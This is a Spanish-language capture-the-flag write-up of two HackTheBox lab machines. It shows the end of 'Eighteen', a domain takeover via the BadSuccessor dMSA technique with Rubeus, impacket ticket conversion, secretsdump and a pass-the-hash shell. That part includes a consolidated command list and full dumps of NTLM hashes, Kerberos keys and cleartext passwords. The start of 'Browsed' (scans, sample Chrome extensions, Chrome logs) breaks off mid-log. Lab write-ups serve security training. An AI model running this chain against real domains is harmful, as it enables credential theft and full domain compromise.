rNnvjGiWw7/JtfJpN42IIgJCP54EL8rKNFNrpMEmDZ8DmYBObuyLKxu++5IuByw0CslaMvTO7v8IzWTSiWgGZwovn0t35V3u7U0eBXgLKjBrEQNewzsxtp6WQMSC8d7EOObRl6eu7TdN2wYtB68WhsBKt8UBtkOPJIdMkVOigOJ6BCoXHyPSPxprzN8ESc80T07BAd4RHY2He2aYG879JPpoDZvtre36w/12bGLPVdNtnrzOiuiK3bJHJqy2glee6NbbU/pvHOqFiDxFCzeT+qY0VhNixO7pNCe/iyyLDwztCWU2RSDag1n8kmvJk0fNivaKeJ+FNgd0cs2qlWB0HO2Z9vAutK2SShUnLy2nH/Vf89uF6C0Di/yTWiTZpRAX84TRsV9nDT90i1h7M2EYZP7JwZ2NYGjM41p2n4KOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEILUe3+Ge9uSTgTz6OwJYYEM3+MRgmpTCdydmS10ZfoKQoQ4bDGVpZ2h0ZWVuLmh0YqIRMA+gAwIBAaEIMAYbBGJhZCSjBwMFAEChAAClERgPMjAyNTExMTYwOTQ0MzhaphEYDzIwMjUxMTE2MDk1OTM4WqcRGA8yMDI1MTEyMzA5NDQwNFqoDhsMRUlHSFRFRU4uSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxFSUdIVEVFTi5IVEI=

  ServiceName              :  krbtgt/EIGHTEEN.HTB
  ServiceRealm             :  EIGHTEEN.HTB
  UserName                 :  bad$ (NT_PRINCIPAL)
  UserRealm                :  eighteen.htb
  StartTime                :  11/16/2025 1:44:38 AM
  EndTime                  :  11/16/2025 1:59:38 AM
  RenewTill                :  11/23/2025 1:44:04 AM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  tR7f4Z725JOBPPo7AlhgQzf4xGCalMJ3J2ZLXRl+gpA=
  Current Keys for bad$: (aes256_cts_hmac_sha1) A6EE5020CCF2EFA61CA2E2C9AAD7C7D34FF80CED71C367E7894992FD74260E04


[*] Ticket written to ticket.kirbi


PS C:\users\adam.scott\Documents>

Convertimos el ticket con ticketConverter.

❯ impacket-ticketConverter ticket.kirbi output.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
❯

Utilizamos el ticket para ejecutar secretsdump y obtener el hash de administrator.

❯ KRB5CCNAME=output.ccache faketime "$(ntpdate -q 240.0.0.1 | cut -d ' ' -f 1,2)" impacket-secretsdump eighteen.htb/bad\$@dc01.eighteen.htb -k -no-pass -just-dc-ntlm -dc-ip 240.0.0.1 -target-ip 240.0.0.1
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
bad$:12607:aad3b435b51404eeaad3b435b51404ee:4450d68bd2b3f724e3f1eb747718bb43:::
[*] Cleaning up... 
❯

BadSuccesor Commands Exploitation

# BadSuccessor commands
# Import Module
Import-Module ./BadSuccessor.ps1
# Run in Exploitation mode with the OU, dMSA account, low user and privileged user
BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name bad -DelegatedAdmin adam.scott -DelegateTarget Administrator -domain eighteen.htb
# request a ticket for the low user
./Rubeus2.3.exe asktgt /user:adam.scott /password:iloveyou1 /domain:eighteen.htb /dc:dc01.eighteen.htb /nowrap /opsec /force
# request a ticket with the low user ticket for the dMSA account
./Rubeus2.3.exe asktgs /targetuser:bad$ /service:krbtgt/eighteen.htb /opsec /dmsa /nowrap /ptt /outfile:ticket.kirbi /ticket:<ticket>
# convert the ticket (kirbi)
impacket-ticketConverter ticket.kirbi output.ccache
# request ntlm hash for users via secretsdump
KRB5CCNAME=output.ccache faketime "$(ntpdate -q 240.0.0.1 | cut -d ' ' -f 1,2)" impacket-secretsdump eighteen.htb/bad\$@dc01.eighteen.htb -k -no-pass -just-dc-ntlm -dc-ip 240.0.0.1 -target-ip 240.0.0.1

Shell

Con el hash obtuvimos una nueva shell como administrador y realizamos la lectura de root.txt.

❯ evil-winrm-py -i eighteen.htb -u administrator -H 0b133be956bfaddf9cea56701affddec
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'eighteen.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
eighteen\administrator
evil-winrm-py PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
47705a51646fd9cbf77c57f30a9a7f2a
evil-winrm-py PS C:\Users\Administrator\Documents>

Dump Hashes

Realizamos un dump de las hashes con impacket-secretdumps.

❯ impacket-secretsdump administrator@dc01.eighteen.htb -hashes :0b133be956bfaddf9cea56701affddec -dc-ip 240.0.0.1 -target-ip 240.0.0.1
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x8a6c03715ce8a8d26720e83ffe01c780
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
EIGHTEEN\DC01$:aes256-cts-hmac-sha1-96:25d862a0f5cbe47c62167d4f57ef04d768965e76e1f8d18b4b95878b8a4fd028
EIGHTEEN\DC01$:aes128-cts-hmac-sha1-96:a4a8a36f0bf18ace2a587e5524a77843
EIGHTEEN\DC01$:des-cbc-md5:26618a9bc2b97302
EIGHTEEN\DC01$:plain_password_hex:4300770067007000580054005000520033004b005a0038004f00570069006200570074007900350032006f0048003300310054002b0031007a0070006b004b0039006d0037005400620052006b0074004800550051005200550063007200610074005600330072003500720057005a00580068005300360051006800770066004500360031006a0062006a00320063004b004c00320034007100520044003100740046007200320059002b0037004f0058002b0041004100370070004d003d0076006a006d006e004e007a00360042005200690067006400740037004d00350070006e0061006f00350079004300590038006a004c0068004c0069005500700047006d006a00470059006d00410068003800530049004e0046004d0072006b00670053006200790075007a003300620054006700660073004b006a00760048003900720030003300590046003200590035006c005a004d007900380076004b0079003500340037004200770058004c0067006f0054002b006e0065007300510037004a00700074003d003100410038005900750042007600490045007100640061006400760077004d0043006a00330047005700730043004d0038007a004f00730070004f006b004b0079004200690070004500360058006700760050005700480054004d004a00470073007200690056004f0065004e00420038004c006200
EIGHTEEN\DC01$:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x48249fb0f4cf23ecbef54affc2b21d65717bf7df
dpapi_userkey:0xb8820f0412fc851cca8aa426248e7f37af5dd0b2
[*] NL$KM 
 0000   FA 36 C7 D5 C0 82 AB B5  78 E1 17 F0 5E 36 13 5B   .6......x...^6.[
 0010   A5 9F C0 9C 38 A8 C4 34  FE 20 F7 2B D9 A2 8C AF   ....8..4. .+....
 0020   71 F2 E0 D2 09 A1 EC 09  EB DE 9B 8C F5 4A E6 2D   q............J.-
 0030   6B 1D 32 16 A2 ED B4 AE  F1 51 AE 5B 41 E5 4E B6   k.2......Q.[A.N.
NL$KM:fa36c7d5c082abb578e117f05e36135ba59fc09c38a8c434fe20f72bd9a28caf71f2e0d209a1ec09ebde9b8cf54ae62d6b1d3216a2edb4aef151ae5b41e54eb6
[*] _SC_MSSQLSERVER 
EIGHTEEN\mssqlsvc:zOq3u4AKw5]e
[*] _SC_SQLSERVERAGENT 
EIGHTEEN\mssqlsvc:!JpC319216bama
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
[*] Kerberos keys grabbed
Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b
Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0
Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2
Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f
Administrator:0x17:0b133be956bfaddf9cea56701affddec
krbtgt:aes256-cts-hmac-sha1-96:56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
krbtgt:aes128-cts-hmac-sha1-96:5ad1b9baa9295bacca1286535e9efd8e
krbtgt:0x17:a7c7a912503b16d8402008c1aebdb649
mssqlsvc:0x14:24746f3467856094de1b83e938136500911767a12d2d3b2e14105765d3d7cec9
mssqlsvc:0x13:6ce61b6b5a08284c131ef7fbf4d85a00
mssqlsvc:aes256-cts-hmac-sha1-96:d9ecd6b2a939ab8fe27dca49d889315cafdd6ebecc10cde4af7bfc653f9da607
mssqlsvc:aes128-cts-hmac-sha1-96:76a931bfb4184ac5efae82263d95f215
mssqlsvc:0x17:c44d16951b0810e8f3bbade300966ec4
eighteen.htb\jamie.dunn:0x14:2c016f9a18c0026c29b71384e567a8ef39caba6171a003a8bbc2e1111645a813
eighteen.htb\jamie.dunn:0x13:92f1fae2c11f9600f5b6181082214f0e
eighteen.htb\jamie.dunn:aes256-cts-hmac-sha1-96:dbde889da88b5f07c7401663a953f54fdd6f414e54392101f1d9eb6a1c7679e7
eighteen.htb\jamie.dunn:aes128-cts-hmac-sha1-96:7bd2a2b8ad4b67a8f6e933913f987d79
eighteen.htb\jamie.dunn:0x17:9fbaaf9e93e576187bb840e93971792a
eighteen.htb\jane.smith:0x14:52481c342ea2b37e0712bfb0ab47cd6be9863bc9620df47e8e7c42cd0a683576
eighteen.htb\jane.smith:0x13:9e2e52016bd944eac3afe4a86cf41c5e
eighteen.htb\jane.smith:aes256-cts-hmac-sha1-96:584e2d51dfa5d24f593e06fc311410b5f71e4b80433141b7028bc523dac6bee0
eighteen.htb\jane.smith:aes128-cts-hmac-sha1-96:73fb572dc6d4375f8ceb1447b6906468
eighteen.htb\jane.smith:0x17:42554e3213381f9d1787d2dbe6850d21
eighteen.htb\alice.jones:0x14:349ce10e4b89ca16c1ac95f9d3d37d6e3a90f9ae8e4b598062a8774cf3dfbdda
eighteen.htb\alice.jones:0x13:a8172a1f22b6e1a2ab1343690fea1c7f
eighteen.htb\alice.jones:aes256-cts-hmac-sha1-96:ff947e4183a74a25c5a5cbc3a237d0c6f36ec9467efcfdaebf179acd5f67fe59
eighteen.htb\alice.jones:aes128-cts-hmac-sha1-96:24b72c652037857afe750f9c10bcc1a1
eighteen.htb\alice.jones:0x17:43f8a72420ee58573f6e4f453e72843a
eighteen.htb\adam.scott:0x14:ce816f93993d73cb234f5c9b73a60aa489f8f3079f6870fda146762962b55656
eighteen.htb\adam.scott:0x13:526a35452b9de155f780917b3a403506
eighteen.htb\adam.scott:aes256-cts-hmac-sha1-96:02f93f7e9e128c32449e2f20475afcdfb6cc2b4444ac8fd0b02406af018f75e5
eighteen.htb\adam.scott:aes128-cts-hmac-sha1-96:041716887b5efba3ba1dcddad9bbe98e
eighteen.htb\adam.scott:0x17:9964dae494a77414e34aff4f34412166
eighteen.htb\bob.brown:0x14:393e55b25bb1853b29979c980c19b6d0845fadb640eac609d1a85a563e7b06cf
eighteen.htb\bob.brown:0x13:1172eba897e9a70ae3619667c1831ca2
eighteen.htb\bob.brown:aes256-cts-hmac-sha1-96:718ebbe36922b7f48f6bfb964c68f142b94e26a1f55718847d20b4ef6e056538
eighteen.htb\bob.brown:aes128-cts-hmac-sha1-96:0eb1644648b1d905ce8042de351826c7
eighteen.htb\bob.brown:0x17:7e86c41ddac3f95c986e0382239ab1ea
eighteen.htb\carol.white:0x14:3b77670fed849cc244de4ccc7cafee944dea00e37570f16736b1108a246eada4
eighteen.htb\carol.white:0x13:7ef7b5d056f8251ffe901ebfd2543672
eighteen.htb\carol.white:aes256-cts-hmac-sha1-96:20a1f696ab33da115e5034c8087bbe86859ac10f6547a0545af0ca560190cb40
eighteen.htb\carol.white:aes128-cts-hmac-sha1-96:f28948aeb60d1552754c987b590d8428
eighteen.htb\carol.white:0x17:6056d42866209a6744cb6294df075640
eighteen.htb\dave.green:0x14:1f9cc062b18d3ffbbf786c27bf65cd9dff81d9ba8c4af5285741364c53437829
eighteen.htb\dave.green:0x13:68cb75c76f62ef851d01110d46346e38
eighteen.htb\dave.green:aes256-cts-hmac-sha1-96:15bea1d4b7740e14dd6b47c7734c19bb031874830e69f1cecac48d6fcc84cbf9
eighteen.htb\dave.green:aes128-cts-hmac-sha1-96:88d5e8df3683ab6bac2cfc2c40f022e8
eighteen.htb\dave.green:0x17:7624e4baa9c950aa3e0f2c8b1df72ee9
DC01$:0x14:14ad20e30aa3e8b21916121142c19fe88f15f2031af81806c58a24e38b06ace8
DC01$:0x13:3ecd1e42aec8986642eaf7cb2ef5b7ec
DC01$:aes256-cts-hmac-sha1-96:25d862a0f5cbe47c62167d4f57ef04d768965e76e1f8d18b4b95878b8a4fd028
DC01$:aes128-cts-hmac-sha1-96:a4a8a36f0bf18ace2a587e5524a77843
DC01$:0x17:d79b6837ac78c51c79aab3d970875584
[*] ClearText passwords grabbed
eighteen.htb\adam.scott:CLEARTEXT:iloveyou1
[*] Cleaning up... 
❯

Cronjobs Cleanup

Localmente existen dos scripts que son utilizados para mantener la maquina en su estado inicial.

evil-winrm-py PS C:\Users\Administrator\Documents> dir


    Directory: C:\Users\Administrator\Documents


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----        10/29/2025   5:40 AM           1226 clean_OU.ps1                                                          
-a----         11/8/2025   7:18 AM            421 warmup_flask.ps1                                                      


evil-winrm-py PS C:\Users\Administrator\Documents> cat clean_OU.ps1
# Clean OU
Import-Module ActiveDirectory

$ou = "OU=Staff,DC=eighteen,DC=htb"

Get-ADObject -SearchBase $ou -Filter 'ObjectClass -eq "msDS-DelegatedManagedServiceAccount"' | ForEach-Object {
    Remove-ADObject -Identity $_.DistinguishedName -Confirm:$false
}

# Clean financial_planner database

$server = "127.0.0.1"
$database = "financial_planner"
$username = "appdev"
$password = 'MissThisElite$90'

$connectionString = "Server=$server;Database=$database;User ID=$username;Password=$password;TrustServerCertificate=True;"

$queries = @(
    "DELETE FROM users WHERE id > 1002;",
    "DELETE FROM incomes;",
    "DELETE FROM expenses;",
    "DELETE FROM allocations;"
)

$connection = New-Object System.Data.SqlClient.SqlConnection
$connection.ConnectionString = $connectionString

try {
    $connection.Open()
    foreach ($query in $queries) {
        $command = $connection.CreateCommand()
        $command.CommandText = $query

        $rowsAffected = $command.ExecuteNonQuery()
        Write-Output "Executed: $query"
        Write-Output "Rows affected: $rowsAffected`n"
    }
}
catch {
    Write-Error "Error: $($_.Exception.Message)"
}
finally {
    $connection.Close()
}
evil-winrm-py PS C:\Users\Administrator\Documents> cat warmup_flask.ps1
Import-Module WebAdministration
$siteName = "financial_planner"

while (($site = Get-Website -Name $siteName) -and $site.state -ne "Started") {
    Start-Sleep -Seconds 1
}

Restart-WebItem "IIS:\Sites\$siteName"
Start-Sleep -Seconds 2

try {
    Invoke-WebRequest -Uri "http://eighteen.htb/" -UseBasicParsing -TimeoutSec 10 | Out-Null
} catch {
    Write-Warning "Could not reach the site for warmup: $_"
}
evil-winrm-py PS C:\Users\Administrator\Documents>

HackTheBox - Browsed

sckull — Sat, 28 Mar 2026 00:00:00 +0000

Browsed permite la carga y prueba de extensiones Chrome, esto permitio identificar un nuevo dominio para Gitea, este alojaba un repositorio de una aplicacion interna. Tras analizar este ultimo se identifico una vulnerabilidad a traves de Evaluaciones Aritmeticas en Bash que permitia la ejecucion de Comandos. Se creo una extension para acceder a la aplicacion (SSRF) y explotar esta vulnerabilidad para obtener acceso a la maquina. Se identifico un script de Python ejecutable con sudo. Este hace uso de un modulo de utilidades, el cual aprovechamos a traves de archivos de Python Compilado (pyc) para ejecutar comandos y escalar privilegios.

Nombre	Browsed
OS	Linux
Puntos	30
Dificultad	Medium
Fecha de Salida	2026-01-10
IP	10.129.4.134
Maker	Tensho
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [56, 35, 188, 285, 487, 194, 95, 27, 10, 15], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

# Nmap 7.95 scan initiated Sat Jan 10 17:50:30 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.4.134
Nmap scan report for 10.129.4.134
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 10 17:50:41 2026 -- 1 IP address (1 host up) scanned in 10.99 seconds

Web Site

Los headers del sitio muestran un servidor nginx.

❯ curl -sI 10.129.4.134
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sat, 10 Jan 2026 23:50:31 GMT
Content-Type: text/html
Content-Length: 6708
Last-Modified: Sun, 17 Aug 2025 14:53:03 GMT
Connection: keep-alive
ETag: "68a1eccf-1a34"
Accept-Ranges: bytes

❯

El sitio esta enfocado en extensiones para navegadores. Ademas, se menciona chrome version 134.

Se muestran dos ejemplos de extensiones.

Se muestra un formulario para subir extensiones.

Directory Brute Forcing

dirsearch muestra unicmanete la pagina upload.php junto con archivos estaticos.

 dirsearch -u http://10.129.4.134/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/browsed/reports/http_10.129.4.134/__26-01-10_18-01-29.txt

Target: http://10.129.4.134/

[18:01:29] Starting: 
[18:01:42] 403 -  564B  - /assets/
[18:01:42] 301 -  178B  - /assets  ->  http://10.129.4.134/assets/
[18:01:51] 301 -  178B  - /images  ->  http://10.129.4.134/images/
[18:01:51] 403 -  564B  - /images/
[18:01:53] 200 -   17KB - /LICENSE.txt
[18:02:00] 200 -    1KB - /README.txt
[18:02:07] 200 -    7KB - /upload.php

Task Completed
❯

Extensions

Descargamos las tres extensiones de ejemplo.

❯ wget http://10.129.4.134/fontify.zip
--2026-01-10 18:04:52--  http://10.129.4.134/fontify.zip
Connecting to 10.129.4.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1930 (1.9K) [application/zip]
Saving to: ‘fontify.zip’

fontify.zip                                   100%[=================================================================================================>]   1.88K  --.-KB/s    in 0s      

2026-01-10 18:04:52 (267 MB/s) - ‘fontify.zip’ saved [1930/1930]

❯ wget -q http://10.129.4.134/replaceimages.zip
❯ wget -q http://10.129.4.134/timer.zip
❯ ll
.rw-rw-r-- kali kali 1.9 KB Sun Aug 17 08:45:02 2025  fontify.zip
.rw-rw-r-- kali kali 762 B  Sun Aug 17 08:46:45 2025  replaceimages.zip
.rw-rw-r-- kali kali 1.6 KB Sun Aug 17 08:47:10 2025  timer.zip
❯

Se muestra una estrucutra simple en los archivos.

❯ unzip -l timer.zip
Archive:  timer.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      273  2025-03-20 02:42   manifest.json
      369  2025-03-19 10:12   popup.html
     1311  2025-03-19 10:13   popup.js
      240  2025-03-19 10:12   style.css
---------                     -------
     2193                     4 files
❯

La extension timer muestra un temporizador.

❯ cat manifest.json
{
  "manifest_version": 3,
  "name": "Focus Timer",
  "version": "1.13.0",
  "description": "Simple Pomodoro-style timer to stay focused.",
  "permissions": [
    "notifications"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Focus Timer"
  }
}
❯ cat popup.html
<!DOCTYPE html>
<html>
  <head>
    <title>Focus Timer</title>
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h1 id="timer">25:00</h1>
    <div class="buttons">
      <button id="start">Start</button>
      <button id="pause">Pause</button>
      <button id="reset">Reset</button>
    </div>
    <script src="popup.js"></script>
  </body>
</html>
❯ cat popup.js
let timerDisplay = document.getElementById("timer");
let startBtn = document.getElementById("start");
let pauseBtn = document.getElementById("pause");
let resetBtn = document.getElementById("reset");

let duration = 25 * 60; // 25 minutes
let remaining = duration;
let timerInterval = null;

function updateDisplay() {
  let minutes = Math.floor(remaining / 60);
  let seconds = remaining % 60;
  timerDisplay.textContent = `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
}

function startTimer() {
  if (timerInterval) return;
  timerInterval = setInterval(() => {
    if (remaining > 0) {
      remaining--;
      updateDisplay();
    } else {
      clearInterval(timerInterval);
      timerInterval = null;
      chrome.notifications?.create({
        type: "basic",
        iconUrl: "icon.png",
        title: "Time's Up!",
        message: "Take a break!",
        priority: 2
      });
    }
  }, 1000);
}

function pauseTimer() {
  clearInterval(timerInterval);
  timerInterval = null;
}

function resetTimer() {
  clearInterval(timerInterval);
  timerInterval = null;
  remaining = duration;
  updateDisplay();
}

startBtn.addEventListener("click", startTimer);
pauseBtn.addEventListener("click", pauseTimer);
resetBtn.addEventListener("click", resetTimer);

updateDisplay();
❯

En el caso de replaceimages toma la imagen de una URL para reemplazarla en cada tag img.

❯ cat manifest.json
{
  "manifest_version": 3,
  "name": "Replace Images",
  "version": "1.0.0",
  "description": "Replaces every image on a page with one from a URL.",
  "permissions": ["scripting"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}
❯ cat content.js
// use an image of your liking !
// const replacementImageUrl = "Your favourite image here"
const replacementImageUrl = "https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47"

document.querySelectorAll('img').forEach(img => {
  img.src = replacementImageUrl;
  img.srcset = "";
});
❯

fontify reemplaza la fuente segun eleccion.

❯ cat manifest.json
{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "description": "Choose a font to apply to all websites!",
  "permissions": [
    "storage",
    "scripting"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Choose your font"
  },
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content.js"
      ],
      "run_at": "document_idle"
    }
  ]
}
❯ cat popup.html
<!DOCTYPE html>
<html>
  <head>
    <title>Font Switcher</title>
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h2>Select a Font</h2>
    <select id="fontSelector">
      <option value="Comic Sans MS">Comic Sans MS</option>
      <option value="Papyrus">Papyrus</option>
      <option value="Impact">Impact</option>
      <option value="Courier New">Courier New</option>
      <option value="Times New Roman">Times New Roman</option>
      <option value="Arial">Arial</option>
    </select>
    <script src="popup.js"></script>
  </body>
</html>
❯ cat popup.js
const fontSelector = document.getElementById("fontSelector");

chrome.storage.sync.get("selectedFont", ({ selectedFont }) => {
  if (selectedFont) {
    fontSelector.value = selectedFont;
  }
});

fontSelector.addEventListener("change", () => {
  const selectedFont = fontSelector.value;
  chrome.storage.sync.set({ selectedFont }, () => {
    chrome.tabs.query({ active: true, currentWindow: true }, tabs => {
      chrome.scripting.executeScript({
        target: { tabId: tabs[0].id },
        func: (font) => {
          const style = document.createElement("style");
          style.innerText = `* { font-family: '${font}' !important; }`;
          document.head.appendChild(style);
        },
        args: [selectedFont]
      });
    });
  });
});
❯

Testing Extension

Subimos la extension replaceimagenes al sitio, este devuelve el output de la ejecucion.

[2555:2555:0111/001624.535269:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2555:2555:0111/001624.616546:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2562:2562:0111/001624.744385:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2563:2563:0111/001624.744404:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2562:2562:0111/001624.763667:INFO:cpu_info.cc(53)] Available number of cores: 2
[2563:2563:0111/001624.763672:INFO:cpu_info.cc(53)] Available number of cores: 2
[2562:2562:0111/001624.767535:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2563:2563:0111/001624.767541:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2555:2555:0111/001624.806211:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping mandatory platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/managed
[2555:2555:0111/001624.806274:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping recommended platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/recommended
[2555:2555:0111/001624.833240:VERBOSE1:variations_field_trial_creator_base.cc(539)] Applying FieldTrialTestingConfig
[2555:2555:0111/001624.843861:VERBOSE1:variations_field_trial_creator_base.cc(357)] VariationsSetupComplete
[2555:2555:0111/001624.854545:WARNING:display_server_utils.cc(100)] This is not a Wayland session. Falling back to X11. If you need to run Chrome on Wayland using some embedded compositor, e.g. Weston, please specify Wayland as your preferred Ozone platform, or use --ozone-platform=wayland.
[2555:2570:0111/001624.886235:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s

string "org.freedesktop.login1"

[2555:2573:0111/001624.911218:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
